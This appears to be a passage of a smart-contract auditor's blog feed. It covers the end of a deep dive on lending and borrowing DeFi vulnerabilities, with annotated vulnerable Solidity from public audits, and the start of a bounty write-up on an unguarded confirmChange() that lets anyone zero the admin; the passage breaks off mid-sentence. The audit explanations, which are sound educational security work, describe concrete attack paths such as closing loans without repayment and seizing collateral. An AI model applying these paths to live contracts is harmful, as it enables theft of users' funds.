<p>Normally to get their collateral back, the Borrower has to repay the Lender their principal + interest. If the Borrower can close the debt without repaying the full amount <em>and</em> keep their collateral, this results in a critical loss of funds vulnerability for the Lender. Examine this code [<a target="_blank" href="https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L388-L409">1</a>,<a target="_blank" href="https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L483-L507">2</a>] from Code4rena's DebtDAO audit:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// amount of open credit lines on a Line of Credit facility</span>
<span class="hljs-keyword">uint256</span> <span class="hljs-keyword">private</span> count; 

<span class="hljs-comment">// id -&gt; credit line provided by a single Lender for a given token on a Line of Credit</span>
<span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">bytes32</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> Credit) <span class="hljs-keyword">public</span> credits; 

<span class="hljs-comment">// @audit attacker calls close() with non-existent id</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">close</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> id</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
    <span class="hljs-comment">// @audit doesn't check that id exists in credits, if it doesn't</span>
    <span class="hljs-comment">// exist an empty Credit with default values will be returned</span>
    Credit <span class="hljs-keyword">memory</span> credit <span class="hljs-operator">=</span> credits[id];

    <span class="hljs-keyword">address</span> b <span class="hljs-operator">=</span> borrower; <span class="hljs-comment">// gas savings</span>
    <span class="hljs-comment">// @audit borrower attacker will pass this check</span>
    <span class="hljs-keyword">if</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span> credit.lender <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span> b) {
      <span class="hljs-keyword">revert</span> CallerAccessDenied();
    }

    <span class="hljs-comment">// ensure all money owed is accounted for. Accrue facility fee since prinicpal was paid off</span>
    credit <span class="hljs-operator">=</span> _accrue(credit, id);
    <span class="hljs-keyword">uint256</span> facilityFee <span class="hljs-operator">=</span> credit.interestAccrued;
    <span class="hljs-keyword">if</span>(facilityFee <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>) {
      <span class="hljs-comment">// only allow repaying interest since they are skipping repayment queue.</span>
      <span class="hljs-comment">// If principal still owed, _close() MUST fail</span>
      LineLib.receiveTokenOrETH(credit.token, b, facilityFee);

      credit <span class="hljs-operator">=</span> _repay(credit, id, facilityFee);
    }

    <span class="hljs-comment">// @audit _closed() called with empty credit, non-existent id</span>
    _close(credit, id); <span class="hljs-comment">// deleted; no need to save to storage</span>

    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_close</span>(<span class="hljs-params">Credit <span class="hljs-keyword">memory</span> credit, <span class="hljs-keyword">bytes32</span> id</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">virtual</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
    <span class="hljs-keyword">if</span>(credit.principal <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>) { <span class="hljs-keyword">revert</span> CloseFailedWithPrincipal(); }

    <span class="hljs-comment">// return the Lender's funds that are being repaid</span>
    <span class="hljs-keyword">if</span> (credit.deposit <span class="hljs-operator">+</span> credit.interestRepaid <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>) {
        LineLib.sendOutTokenOrETH(
            credit.token,
            credit.lender,
            credit.deposit <span class="hljs-operator">+</span> credit.interestRepaid
        );
    }

    <span class="hljs-keyword">delete</span> credits[id]; <span class="hljs-comment">// gas refunds</span>

    <span class="hljs-comment">// remove from active list</span>
    ids.removePosition(id);

    <span class="hljs-comment">// @audit calling with non-existent id still decrements count, can</span>
    <span class="hljs-comment">// keep calling close() with non-existent id until count decremented to 0</span>
    <span class="hljs-comment">// and loan marked as repaid!</span>
    <span class="hljs-keyword">unchecked</span> { <span class="hljs-operator">-</span><span class="hljs-operator">-</span>count; }

    <span class="hljs-comment">// If all credit lines are closed the the overall Line of Credit facility is declared 'repaid'.</span>
    <span class="hljs-keyword">if</span> (count <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) { _updateStatus(LineLib.STATUS.REPAID); }

    <span class="hljs-keyword">emit</span> CloseCreditPosition(id);

    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
}
</code></pre>
<p>The Borrower can simply call close() with a non-existent id, and every call will end up decrementing count. Doing this until count == 0 results in the loan being marked as repaid! This is also an example of the <a target="_blank" href="https://dacian.me/exploiting-developer-assumptions#heading-unexpected-empty-inputs">unexpected empty inputs vulnerability</a>, where the developer is not expecting a non-existent value to be passed so hasn't correctly handled that. More examples: [<a target="_blank" href="https://code4rena.com/reports/2022-03-timeswap/#h-01-wrong-timing-of-check-allows-users-to-withdraw-collateral-without-paying-for-the-debt">1</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-03-taurus-judging/issues/11">2</a>, <a target="_blank" href="https://github.com/sherlock-audit/2022-10-astaria-judging/issues/233">3</a>]</p>
<h3 id="heading-repayments-paused-while-liquidations-enabled">Repayments Paused While Liquidations Enabled</h3>
<p>Lending &amp; Borrowing DeFi platforms should never be able to enter a state where <a target="_blank" href="https://github.com/sherlock-audit/2023-02-blueberry-judging/issues/290">repayments are paused but liquidations are enabled</a>, since this would unfairly prevent Borrowers from making their repayments while still allowing them to be liquidated. If repayments can be paused then liquidations must also be paused at the same time. Examining the <a target="_blank" href="https://github.com/sherlock-audit/2023-02-blueberry/blob/main/contracts/BlueBerryBank.sol#L740-L747">repay()</a> function from Sherlock's Blueberry contest shows that repayments can be turned on/off, but there is no similar check within <a target="_blank" href="https://github.com/sherlock-audit/2023-02-blueberry/blob/main/contracts/BlueBerryBank.sol#L511-L516">liquidate()</a>.</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">liquidate</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> positionId, <span class="hljs-keyword">address</span> debtToken, <span class="hljs-keyword">uint256</span> amountCall</span>) 
    <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title">lock</span> <span class="hljs-title">poke</span>(<span class="hljs-params">debtToken</span>) </span>{

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">repay</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> token, <span class="hljs-keyword">uint256</span> amountCall</span>)
    <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title">inExec</span> <span class="hljs-title">poke</span>(<span class="hljs-params">token</span>) <span class="hljs-title">onlyWhitelistedToken</span>(<span class="hljs-params">token</span>) </span>{
    <span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span>isRepayAllowed()) <span class="hljs-keyword">revert</span> REPAY_NOT_ALLOWED();
</code></pre>
<p>Developers of Lending &amp; Borrowing platforms should ensure that if repayments are paused then liquidations must also be paused, and auditors should examine whether this invariant can be violated. More examples: [<a target="_blank" href="https://github.com/sherlock-audit/2022-11-isomorph-judging/issues/69">1</a>, <a target="_blank" href="https://solodit.xyz/issues/protocol-operator-can-disable-market-with-open-positions-making-it-impossible-for-traders-to-close-their-open-positions-but-still-subjecting-them-to-potential-liquidation-cyfrin-none-cyfrinzaros-markdown">2</a>, <a target="_blank" href="https://solodit.xyz/issues/protocol-operator-can-disable-settlement-for-market-with-open-positions-making-it-impossible-for-traders-to-close-their-open-positions-but-still-subjecting-them-to-potential-liquidation-cyfrin-none-cyfrinzaros-markdown">3</a>]</p>
<h3 id="heading-token-disallow-stops-existing-repayment-amp-liquidation">Token Disallow Stops Existing Repayment &amp; Liquidation</h3>
<p>Some Lending &amp; Borrowing platforms allow governance to disallow accepting previously allowed tokens, either repayment or collateral tokens. If this also stops existing loans using that token from being repaid or liquidated, this can result in a critical loss of funds vulnerability for the Lender and/or the protocol.</p>
<p>BlueBerry addressed the previous "<a target="_blank" href="https://dacian.me/lending-borrowing-defi-attacks#heading-repayments-paused-while-liquidations-enabled">repayments revert but liquidations allowed</a>" issue by adding the same isRepayAllowed() call into liquidate(), such that the two functions now looked like this:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">liquidate</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> positionId, <span class="hljs-keyword">address</span> debtToken, <span class="hljs-keyword">uint256</span> amountCall</span>) 
    <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title">lock</span> <span class="hljs-title">poke</span>(<span class="hljs-params">debtToken</span>) </span>{
    <span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span>isRepayAllowed()) <span class="hljs-keyword">revert</span> Errors.REPAY_NOT_ALLOWED();

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">repay</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> token, <span class="hljs-keyword">uint256</span> amountCall</span>) 
    <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title">inExec</span> <span class="hljs-title">poke</span>(<span class="hljs-params">token</span>) <span class="hljs-title">onlyWhitelistedToken</span>(<span class="hljs-params">token</span>) </span>{
    <span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span>isRepayAllowed()) <span class="hljs-keyword">revert</span> Errors.REPAY_NOT_ALLOWED();
</code></pre>
<p>In Sherlock's <a target="_blank" href="https://app.sherlock.xyz/audits/contests/69">BlueBerry Update 1 contest</a> after completing the initial version of this Deep Dive I <a target="_blank" href="https://github.com/sherlock-audit/2023-04-blueberry-judging/issues/4">discovered</a> another way to reach the same state where the Borrower can't repay but can be liquidated. In this alternate path repayments are never paused but instead a previously allowed token is disallowed. The inconsistent usage of the onlyWhitelistedToken() modifier results in a Borrower with an existing position not being able to repay, but still able to be liquidated.</p>
<p>Governance disallowing of previously allowed tokens should only apply to new loans but existing loans using the disallowed tokens must continue to be able to be repaid and liquidated. More examples: [<a target="_blank" href="https://github.com/sherlock-audit/2022-11-isomorph-judging/issues/57">1</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-02-gmx-judging/issues/168">2</a>]</p>
<h3 id="heading-borrower-immediately-liquidated-after-repayments-resume">Borrower Immediately Liquidated After Repayments Resume</h3>
<p>Let us re-examine the code in Sherlock's Blueberry Update 1 contest and we'll also remove the inconsistent onlyWhitelistedToken modifier per the recommendation from the previous section:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">liquidate</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> positionId, <span class="hljs-keyword">address</span> debtToken, <span class="hljs-keyword">uint256</span> amountCall</span>) 
    <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title">lock</span> <span class="hljs-title">poke</span>(<span class="hljs-params">debtToken</span>) </span>{
    <span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span>isRepayAllowed()) <span class="hljs-keyword">revert</span> Errors.REPAY_NOT_ALLOWED();

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">repay</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> token, <span class="hljs-keyword">uint256</span> amountCall</span>) 
    <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title">inExec</span> <span class="hljs-title">poke</span>(<span class="hljs-params">token</span>) </span>{
    <span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span>isRepayAllowed()) <span class="hljs-keyword">revert</span> Errors.REPAY_NOT_ALLOWED();
</code></pre>
<p>This code now correctly prevents a Borrower from being liquidated while the Borrower is unable to repay, as pausing repayments also pauses liquidations. If repayments are paused liquidate() will revert, and if a previously allowed token is disallowed, a Borrower with an existing position with that token can continue to repay and be liquidated.</p>
<p>However one more issue remains; if repayments are paused, during that pause market fluctuations can cause a Borrower to become subject to liquidation as the Borrower is unable to repay(). As soon as repayments are resumed, such a Borrower will be immediately liquidated by liquidation bots, with the only possibility to save their position being if the Borrower themselves runs a repayment bot &amp; can successfully front-run the liquidation bots.</p>
<p>This situation unfairly disadvantages Borrowers as such Borrowers became subject to liquidation through no fault of their own. Upon <a target="_blank" href="https://github.com/sherlock-audit/2023-04-blueberry-judging/issues/117">repayments resuming a Borrower will be immediately liquidated</a>, unfairly disadvantaging the Borrower and giving a huge advantage to the Liquidator.</p>
<p>To fix the game theory such that neither Borrowers nor Liquidators are unfairly favored, after repayments are resumed there should be a grace period during which Borrowers can't be liquidated. This grace period could be equal to the period that repayments were paused with a hard cap of a max number of hours, which provides even fairness to both Borrowers &amp; Liquidators. More examples: [<a target="_blank" href="https://github.com/sherlock-audit/2023-05-perennial-judging/issues/190">1</a>]</p>
<h3 id="heading-liquidator-takes-collateral-with-insufficient-repayment">Liquidator Takes Collateral With Insufficient Repayment</h3>
<p>When the Borrowers is in default, two things can happen:</p>
<ul>
<li><p>Lender liquidates the Borrower by forgoing repayment of the loan and seizing the collateral,</p>
</li>
<li><p>Liquidator repays the Borrower and seizes the collateral</p>
</li>
</ul>
<p>In the second case, advanced platforms allow a Liquidator to partially repay the Borrower's bad debt and receive a proportional amount of the collateral. If the Liquidator can <a target="_blank" href="https://github.com/sherlock-audit/2023-02-blueberry-judging/issues/127">take the collateral with an insufficient (or no) repayment</a>, this represents a critical loss of funds vulnerability for the Lender. Consider this <a target="_blank" href="https://github.com/sherlock-audit/2023-02-blueberry/blob/main/contracts/BlueBerryBank.sol#L511-L531">collateral share calculation</a> from Blueberry's Sherlock audit:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">liquidate</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> positionId, <span class="hljs-keyword">address</span> debtToken, <span class="hljs-keyword">uint256</span> amountCall</span>)
    <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title">lock</span> <span class="hljs-title">poke</span>(<span class="hljs-params">debtToken</span>) </span>{
    <span class="hljs-comment">// checks</span>
    <span class="hljs-keyword">if</span> (amountCall <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) <span class="hljs-keyword">revert</span> ZERO_AMOUNT();
    <span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span>isLiquidatable(positionId)) <span class="hljs-keyword">revert</span> NOT_LIQUIDATABLE(positionId);

    <span class="hljs-comment">// @audit get position to be re-paid by liquidator, however</span>
    <span class="hljs-comment">// borrower may have multiple debt positions</span>
    Position <span class="hljs-keyword">storage</span> pos <span class="hljs-operator">=</span> positions[positionId];
    Bank <span class="hljs-keyword">memory</span> bank <span class="hljs-operator">=</span> banks[pos.underlyingToken];
    <span class="hljs-keyword">if</span> (pos.collToken <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>)) <span class="hljs-keyword">revert</span> BAD_COLLATERAL(positionId);

    <span class="hljs-comment">// @audit oldShare &amp; share proportion of the one position being liquidated</span>
    <span class="hljs-keyword">uint256</span> oldShare <span class="hljs-operator">=</span> pos.debtShareOf[debtToken];
    (<span class="hljs-keyword">uint256</span> amountPaid, <span class="hljs-keyword">uint256</span> share) <span class="hljs-operator">=</span> repayInternal(
        positionId,
        debtToken,
        amountCall
    );

    <span class="hljs-comment">// @audit collateral shares to be given to liquidator calculated using</span>
    <span class="hljs-comment">// share / oldShare which only correspond to the one position being liquidated,</span>
    <span class="hljs-comment">// not to the total debt of the borrower (which can be in multiple positions)</span>
    <span class="hljs-keyword">uint256</span> liqSize <span class="hljs-operator">=</span> (pos.collateralSize <span class="hljs-operator">*</span> share) <span class="hljs-operator">/</span> oldShare;
    <span class="hljs-keyword">uint256</span> uTokenSize <span class="hljs-operator">=</span> (pos.underlyingAmount <span class="hljs-operator">*</span> share) <span class="hljs-operator">/</span> oldShare;
    <span class="hljs-keyword">uint256</span> uVaultShare <span class="hljs-operator">=</span> (pos.underlyingVaultShare <span class="hljs-operator">*</span> share) <span class="hljs-operator">/</span> oldShare;

    <span class="hljs-comment">// @audit if the borrower has multiple debt positions, the liquidator</span>
    <span class="hljs-comment">// can take the whole collateral by paying off only the lowest value</span>
    <span class="hljs-comment">// debt position, since the shares are calculcated only from the one</span>
    <span class="hljs-comment">// position being liquidated, not from the total debt which can be</span>
    <span class="hljs-comment">// spread out across multiple positions</span>
</code></pre>
<p>share / oldShare is the proportion of the one debt position being paid off by the Liquidator, not the entire debt of the Borrower which can be spread across multiple positions. Hence if the Borrower's debt is spread across multiple positions, a Liquidator can take all of the collateral by repaying only the smallest debt position.</p>
<h3 id="heading-infinite-loan-rollover">Infinite Loan Rollover</h3>
<p>If the Borrower can rollover their loan, the Lender must also be able to limit rollover either by limiting the number of times, the length of time, or through other parameters. If the Borrower can <a target="_blank" href="https://github.com/sherlock-audit/2023-01-cooler-judging/issues/215">infinitely rollover their loan</a>, this represents a critical loss of funds risk for the Lender who may never be repaid and never be able to liquidate the Borrower to take their collateral.</p>
<h3 id="heading-repayment-sent-to-zero-address">Repayment Sent to Zero Address</h3>
<p>Care must be taken when implementing the repayment code such that the <a target="_blank" href="https://github.com/sherlock-audit/2023-01-cooler-judging/issues/33">repayment is not lost by sending it to the zero address</a>. Examine this code from Cooler's Sherlock audit:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">repay</span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> loanID, <span class="hljs-keyword">uint256</span> repaid</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    Loan <span class="hljs-keyword">storage</span> loan <span class="hljs-operator">=</span> loans[loanID];

    <span class="hljs-keyword">if</span> (<span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span> <span class="hljs-operator">&gt;</span> loan.expiry) 
        <span class="hljs-keyword">revert</span> Default();

    <span class="hljs-keyword">uint256</span> decollateralized <span class="hljs-operator">=</span> loan.collateral <span class="hljs-operator">*</span> repaid <span class="hljs-operator">/</span> loan.amount;

    <span class="hljs-comment">// @audit loans[loanID] is deleted here</span>
    <span class="hljs-comment">// which means that loan which points to loans[loanID]</span>
    <span class="hljs-comment">// will be an empty object with default/0 member values</span>
    <span class="hljs-keyword">if</span> (repaid <span class="hljs-operator">=</span><span class="hljs-operator">=</span> loan.amount) <span class="hljs-keyword">delete</span> loans[loanID];
    <span class="hljs-keyword">else</span> {
        loan.amount <span class="hljs-operator">-</span><span class="hljs-operator">=</span> repaid;
        loan.collateral <span class="hljs-operator">-</span><span class="hljs-operator">=</span> decollateralized;
    }

    <span class="hljs-comment">// @audit loan.lender = 0 due to the above delete</span>
    <span class="hljs-comment">// hence repayment will be sent to the zero address</span>
    <span class="hljs-comment">// some erc20 tokens will revert but many will happily</span>
    <span class="hljs-comment">// execute and the repayment will be lost forever</span>
    debt.transferFrom(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, loan.lender, repaid);
    collateral.<span class="hljs-built_in">transfer</span>(owner, decollateralized);
}
</code></pre>
<p>"loan" points to storage loans[loanID], but loans[loanID] is deleted then afterward the repayment is transferred to loan.lender which will be 0 due to the previous deletion. Some ERC20 tokens will revert but many will happily execute causing the repayment to be sent to the zero address and lost forever. More examples: [<a target="_blank" href="https://github.com/sherlock-audit/2022-11-bullvbear-judging/issues/127">1</a>]</p>
<h3 id="heading-borrower-permanently-unable-to-repay-loan">Borrower Permanently Unable To Repay Loan</h3>
<p>If the system can enter a state where the <a target="_blank" href="https://github.com/sherlock-audit/2022-10-union-finance-judging/issues/133">Borrower permanently can't repay their loan</a> because the repay() function reverts, this represents a critical loss of funds vulnerability for the Borrower who will be liquidated losing their collateral and also for the Lender who can never be repaid. Developers should test &amp; auditors should verify that Borrowers can repay loans at various stages of the loan (active, overdue etc) unless the loan has been liquidated. More examples: [<a target="_blank" href="https://github.com/Cyfrin/2023-07-beedle/issues/62">1</a>]</p>
<h3 id="heading-borrower-repayment-only-partially-credited">Borrower Repayment Only Partially Credited</h3>
<p>Borrowing &amp; Lending systems can allow Borrowers to take out multiple loans. Borrowers can then attempt to repay as much as possible with one call to the repay() function, the idea being that if the repayment amount can pay off the first loan, then any repayment amount should be used to pay off the second loan and so on.</p>
<p>A critical loss of funds error occurs for the Borrower if once the first loan has been paid off, the overflow is not used to at least partially pay off the second loan but the Lender receives the full amount, resulting in the <a target="_blank" href="https://github.com/sherlock-audit/2022-10-astaria-judging/issues/190">Borrower's repayment only being partially credited</a>.</p>
<p>Developers should test &amp; auditors should verify that bulk repayment functionality does indeed pay off as many of the loans as possible and that none of the repayment amount is lost.</p>
<h3 id="heading-no-incentive-to-liquidate-small-positions">No Incentive To Liquidate Small Positions</h3>
<p>Prompt liquidation of positions where the collateral value has fallen below the liquidation threshold of the loan is important to the solvency of lending &amp; borrowing protocols. Liquidators are incentivized to promptly liquidate such "underwater" positions by receiving a liquidation fee for doing so.</p>
<p>Due to rising gas costs on popular networks such as Ethereum mainnet the liquidation fee may be smaller than the gas cost required to liquidate small positions. If there is <a target="_blank" href="https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/issues/1096">no incentive to liquidate small positions</a> these underwater positions will accumulate in the system, threatening the solvency of the protocol.</p>
<h3 id="heading-liquidation-leaves-traders-unhealthier">Liquidation Leaves Traders Unhealthier</h3>
<p>Liquidation should always improve traders’ health scores; if liquidation leaves traders unhealthier than before, this makes traders more likely to be liquidated in subsequent positions. This issue can manifest especially in protocols which:</p>
<ul>
<li><p>allow partial liquidations and a partial liquidation can result in a reduced health score for the remaining position</p>
</li>
<li><p>support multiple collaterals and <a target="_blank" href="https://solodit.xyz/issues/liquidation-leaves-traders-with-unhealthier-and-riskier-collateral-basket-making-them-more-likely-to-be-liquidated-in-future-trades-cyfrin-none-cyfrinzaros-markdown">liquidation incorrectly uses the more stable collaterals first</a>, leaving traders with an unhealthier and riskier remaining collateral basket</p>
</li>
</ul>
<p>Smart contract auditors should ensure that partial liquidation never reduces the remaining position health score and that liquidation always prioritizes the less stable, riskier collateral. More examples: [<a target="_blank" href="https://solodit.xyz/issues/globalconfigurationremovecollateralfromliquidationpriority-corrupts-the-collateral-priority-order-resulting-in-incorrect-order-of-collateral-liquidation-cyfrin-none-cyfrinzaros-markdown">1</a>]</p>
<h3 id="heading-additional-resources">Additional Resources</h3>
<ul>
<li><p><a target="_blank" href="https://dacian.me/defi-liquidation-vulnerabilities">DeFi Liquidation Vulnerabilities</a></p>
</li>
<li><p><a target="_blank" href="https://mixbytes.io/blog/vulnerable-spots-of-lending-protocols">Vulnerable Spots of Lending Protocols</a></p>
</li>
<li><p><a target="_blank" href="https://youtu.be/Dz2FMlKcwHg?si=8AgNgBWCglkUGuWK&amp;t=1420">Dangerous Decimals - DeFi Rounding Issues</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[$28K Bounty - Admin Brick & Forced Revert]]></title><description><![CDATA[Alchemist is a web3 community who developed the notable Fjord Foundry platform and a DeFi ecosystem composed of at least:

Alchemist ERC20 - token $MIST

Aludel - staking/rewards program

Crucible - a vault/smart wallet for ERC20 tokens to subscribe ...]]></description><link>https://dacian.me/28k-bounty-admin-brick-forced-revert</link><guid isPermaLink="true">https://dacian.me/28k-bounty-admin-brick-forced-revert</guid><category><![CDATA[Smart Contracts]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[Ethereum]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Dacian]]></dc:creator><pubDate>Wed, 19 Apr 2023 20:39:20 GMT</pubDate><content:encoded><![CDATA[<p><a target="_blank" href="https://www.alchemist.wtf/">Alchemist</a> is a web3 community who developed the notable <a target="_blank" href="https://fjordfoundry.com/">Fjord Foundry</a> platform and a DeFi ecosystem composed of at least:</p>
<ul>
<li><p><a target="_blank" href="https://github.com/alchemistcoin/alchemist/blob/main/contracts/alchemist/Alchemist.sol">Alchemist ERC20</a> - token $MIST</p>
</li>
<li><p><a target="_blank" href="https://github.com/alchemistcoin/alchemist/blob/main/contracts/aludel/Aludel.sol">Aludel</a> - staking/rewards program</p>
</li>
<li><p><a target="_blank" href="https://github.com/alchemistcoin/alchemist/blob/main/contracts/crucible/Crucible.sol">Crucible</a> - a vault/smart wallet for ERC20 tokens to subscribe to staking/rewards programs like Aludel</p>
</li>
</ul>
<p><a target="_blank" href="https://github.com/alchemistcoin/alchemist/blob/main/contracts/alchemist/Alchemist.sol#L79-L96">Alchemist.advance()</a> mints new inflation according to set parameters which can be <a target="_blank" href="https://github.com/alchemistcoin/alchemist/blob/main/contracts/StreamV2.sol#L31-L58">streamed</a> to Aludel to be distributed to stakers. The parameters controlling Alchemist are set by <a target="_blank" href="https://github.com/alchemistcoin/alchemist/blob/main/contracts/alchemist/TimelockConfig.sol">TimelockConfig</a> which implements a 2-step time-delayed change system managed by a multi-sig admin wallet.</p>
<p>Changes to the configuration are first proposed in step 1 <a target="_blank" href="https://github.com/alchemistcoin/alchemist/blob/main/contracts/alchemist/TimelockConfig.sol#L127:L136">TimelockConfig.requestChange()</a>, then a waiting period (at the time 7 days) must be served during which changes can be canceled <a target="_blank" href="https://github.com/alchemistcoin/alchemist/blob/main/contracts/alchemist/TimelockConfig.sol#L138:L150">TimelockConfig.cancelChange()</a>, and only after the waiting period can the changes be confirmed <a target="_blank" href="https://github.com/alchemistcoin/alchemist/blob/main/contracts/alchemist/TimelockConfig.sol#L103:L123">TimelockConfig.confirmChange()</a>.</p>
<h3 id="heading-missing-access-control">Missing Access Control</h3>
<p>While requestChange() &amp; cancelChange() have "onlyAdmin" modifier, confirmChange() does not, allowing anyone to call Timelock.confirmChange() to confirm a change that was previously requested by the admin, as long as that change has served the waiting period. While this sounds harmless, this missing access control does create an entry point for an attacker by opening up the confirmChange() function.</p>
<h3 id="heading-unchecked-state-transition">Unchecked State Transition</h3>
<p>Carefully examining TimelockConfig.confirmChange() shows that it doesn't correctly verify that step 1 of the configuration process has been proposed:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// @audit completes the 2-step configuration change process, two problems:</span>
<span class="hljs-comment">// - missing onlyAdmin modifier which other functions in this process have</span>
<span class="hljs-comment">// - doesn't actually verify that 1st step of configuration process was started</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// attacker can call confirmChange(ADMIN_CONFIG_ID) and if the 1st step hasn't</span>
<span class="hljs-comment">// been started, set the admin to 0, effectively bricking the admin</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">confirmChange</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> configID</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> </span>{
    <span class="hljs-comment">// require sufficient time elapsed</span>
    <span class="hljs-built_in">require</span>(
        <span class="hljs-comment">// @audit if 1st step not started, _pending[configID].timestamp = 0 so check will pass</span>
        <span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span> <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> _pending[configID].timestamp <span class="hljs-operator">+</span> _config[TIMELOCK_CONFIG_ID],
        <span class="hljs-string">"too early"</span>
    );

    <span class="hljs-comment">// @audit value = 0 if 1st step not started</span>
    <span class="hljs-comment">// get pending value</span>
    <span class="hljs-keyword">uint256</span> value <span class="hljs-operator">=</span> _pending[configID].<span class="hljs-built_in">value</span>;

    <span class="hljs-comment">// @audit _config[configID] = 0, if passing ADMIN_CONFIG_ID bricks admin</span>
    <span class="hljs-comment">// commit change</span>
    _configSet.add(configID);
    _config[configID] <span class="hljs-operator">=</span> value;

    <span class="hljs-comment">// delete pending</span>
    _pendingSet.remove(configID);
    <span class="hljs-keyword">delete</span> _pending[configID];

    <span class="hljs-comment">// emit event</span>
    <span class="hljs-keyword">emit</span> ChangeConfirmed(configID, value);
}
</code></pre>
<p>Hence if no change has been proposed, an attacker can directly call TimelockConfig.confirmChange() with whichever configID they want to set to 0, and it will immediately brick that configID to 0. This <a target="_blank" href="https://dacian.me/exploiting-developer-assumptions#heading-unchecked-2-step-ownership-transfer">unchecked state transition vulnerability</a> has been observed by other auditors in other projects using 2-step ownership transfer processes and I had just learned about it 3 days prior from studying <a target="_blank" href="https://twitter.com/gogotheauditor">@gogotheauditor</a>'s <a target="_blank" href="https://github.com/gogotheauditor/audits/blob/main/reports/Metalabel-Solo-Security-Review.md">audit report</a>. <a target="_blank" href="https://twitter.com/pashovkrum/status/1646825578622853120">@pashovkrum</a> has also remarked that he commonly sees code where developers seem to assume that reading a non-existent index from a map will revert, eg:</p>
